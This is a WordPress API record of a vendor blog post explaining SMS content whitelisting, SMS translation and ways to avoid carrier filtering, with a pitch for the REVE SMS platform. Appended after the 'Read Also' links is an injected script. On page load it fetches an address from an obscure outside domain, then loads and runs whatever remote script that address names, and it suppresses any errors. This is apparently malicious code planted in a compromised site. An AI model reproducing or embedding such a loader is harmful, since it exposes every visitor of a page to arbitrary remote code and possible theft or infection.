{"id":2242,"date":"2021-07-08T12:36:22","date_gmt":"2021-07-08T12:36:22","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2242"},"modified":"2025-09-05T11:30:22","modified_gmt":"2025-09-05T11:30:22","slug":"sms-content-whitelisting","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/","title":{"rendered":"Content Whitelisting \u2013 Why You Need to Have it in Your SMS Platform?"},"content":{"rendered":"<p style=\"text-align: justify;\">SMS Marketing today is an important strategy for most businesses as it helps in making the customers aware of new offers, discounts, and products or services. However, this medium is often misused which hurts the subscriber\u2019s sentiments.<\/p>\n<p style=\"text-align: justify;\">In order to protect the interest of mobile subscribers, so that they receive better content, carriers adopt the policy of SMS Filtering, which is a way to block the delivery of some messages. They also follow the approval process which means only the approved SMS Content will be delivered. These messages can be SPAM or carry abusive, fraudulent, and questionable content.<\/p>\n<p style=\"text-align: justify;\">As an SMS service provider, it is very important for you to comply with the carrier&#8217;s policies or country-specific regulations. This issue can be addressed with <strong>SMS Content Whitelisting, SMS Content Translation,<\/strong> and <strong>Content Filtering<\/strong>.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f836a6e8\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f836a6e8\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#Let_us_discuss_these_in_detail\" title=\"Let us discuss these in detail.\">Let us discuss these in detail.<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#What_is_SMS_Content_Whitelisting\" title=\"What is SMS Content Whitelisting?\">What is SMS Content Whitelisting?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#Why_SMS_Content_Whitelisting_is_Important_for_Service_Providers\" title=\"Why SMS Content Whitelisting is Important for Service Providers?\">Why SMS Content Whitelisting is Important for Service Providers?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#Best_Practices_to_Avoid_SMS_Carrier_Filtering\" title=\"Best Practices to Avoid SMS Carrier Filtering\">Best Practices to Avoid SMS Carrier Filtering<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#Looking_for_an_SMS_Platform\" title=\"Looking for an SMS Platform?\">Looking for an SMS Platform?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#Everything_You_Should_Know_About_SMS_Hubbing\" title=\"Everything You Should Know About SMS Hubbing\">Everything You Should Know About SMS Hubbing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/#How_to_Choose_The_Right_SMS_Platform_for_Business\" title=\"How to Choose The Right SMS Platform for Business?\">How to Choose The Right SMS Platform for Business?<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h4 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Let_us_discuss_these_in_detail\"><\/span>Let us discuss these in detail.<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"What_is_SMS_Content_Whitelisting\"><\/span>What is SMS Content Whitelisting?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote><p>SMS Content Whitelisting is the process of approval of an SMS Content from the service provider\u2019s end before it reaches the end customers through the carrier\u2019s network. This process can be done at the service provider\u2019s end with the help of an <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-gateway\/\">SMS Gateway<\/a>. However, the platform needs to have this feature of SMS Whitelisting.<\/p><\/blockquote>\n<p style=\"text-align: justify;\">An SMS Gateway not only helps in whitelisting the content but also changing the objectionable text in any SMS Content with relevant text that is acceptable and does not clash with the carrier guidelines. This process is known as SMS Translation.<\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Why_SMS_Content_Whitelisting_is_Important_for_Service_Providers\"><\/span>Why SMS Content Whitelisting is Important for Service Providers?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\">SMS Content whitelisting becomes important for service providers owing to the following reasons:<\/p>\n<p style=\"text-align: justify;\"><strong>Preventing the Risk of Being Blocked:\u00a0<\/strong>Misusing SMS such as sending Spam links can be prevented which results in the blockage of their services.<\/p>\n<p style=\"text-align: justify;\"><strong>Reduces the Chance of SMS Failure: <\/strong>With SMS Content Whitelisting, SMS failure and blockage can be reduced to a great extent. The SMS Translation feature will help in translating the text and replacing the same with relevant content.<\/p>\n<p style=\"text-align: justify;\">Many carriers often do not inform if a\u00a0 message is blocked or usually report the message as \u2018undelivered\u2019 as they do not want to openly disclose their filtering algorithm, which can be manipulated by service providers. If you want to know more about SMS Content Whitelisting, please <strong>watch this Webinar &#8211;<\/strong> <a href=\"https:\/\/www.youtube.com\/watch?v=HAjoIRq9cuE&amp;t=8s\" target=\"_blank\" rel=\"noopener\">How to Choose The Right SMS Gateway<\/a><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Best_Practices_to_Avoid_SMS_Carrier_Filtering\"><\/span>Best Practices to Avoid SMS Carrier Filtering<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul style=\"text-align: justify;\">\n<li>Offer valuable and relevant content to customers instead of spam offers<\/li>\n<li>Stop or prevent the sending of spam links through filtering<\/li>\n<li>Don\u2019t send SMS to a huge list at once if it is any kind of promotional offer instead send in batches.<\/li>\n<li>Keep updating your SMS list and the content sent. Do not send the same message to too many customers<\/li>\n<li>Use an SMS Gateway with a content whitelisting\/ translation feature that can stop objectionable content from getting released.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">When you have decided to go for an SMS Gateway, you should consider the Content Whitelisting and Translation feature. In the case of OTP Messages, many times format of SMS gets distorted, so with the SMS translation feature, you can define your own SMS structure to ensure its delivery in the right format to subscribers. <a href=\"https:\/\/www.revesoft.com\/products\/reve-sms-platform\" target=\"_blank\" rel=\"noopener\">REVE SMS platform<\/a> comes with Content Whitelisting and SMS Translation features, which become ideal for service providers and aggregators.<\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Looking_for_an_SMS_Platform\"><\/span><strong>Looking for an SMS Platform?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-sms-platform#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Everything_You_Should_Know_About_SMS_Hubbing\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/everything-you-should-know-about-sms-hubbing\/\" target=\"_blank\" rel=\"noopener\">Everything You Should Know About SMS Hubbing<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"How_to_Choose_The_Right_SMS_Platform_for_Business\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/choose-sms-platform-for-business\/\" target=\"_blank\" rel=\"noopener\">How to Choose The Right SMS Platform for Business?<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SMS Marketing today is an important strategy for most businesses as it helps in making the customers aware of new offers, discounts, and products or services. However, this medium is often misused which hurts the subscriber\u2019s sentiments. In order to protect the interest of mobile subscribers, so that they receive better content, carriers adopt the [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":2247,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[159],"tags":[],"class_list":["post-2242","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sms-platform"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2242","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2242"}],"version-history":[{"count":15,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2242\/revisions"}],"predecessor-version":[{"id":6475,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2242\/revisions\/6475"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2247"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}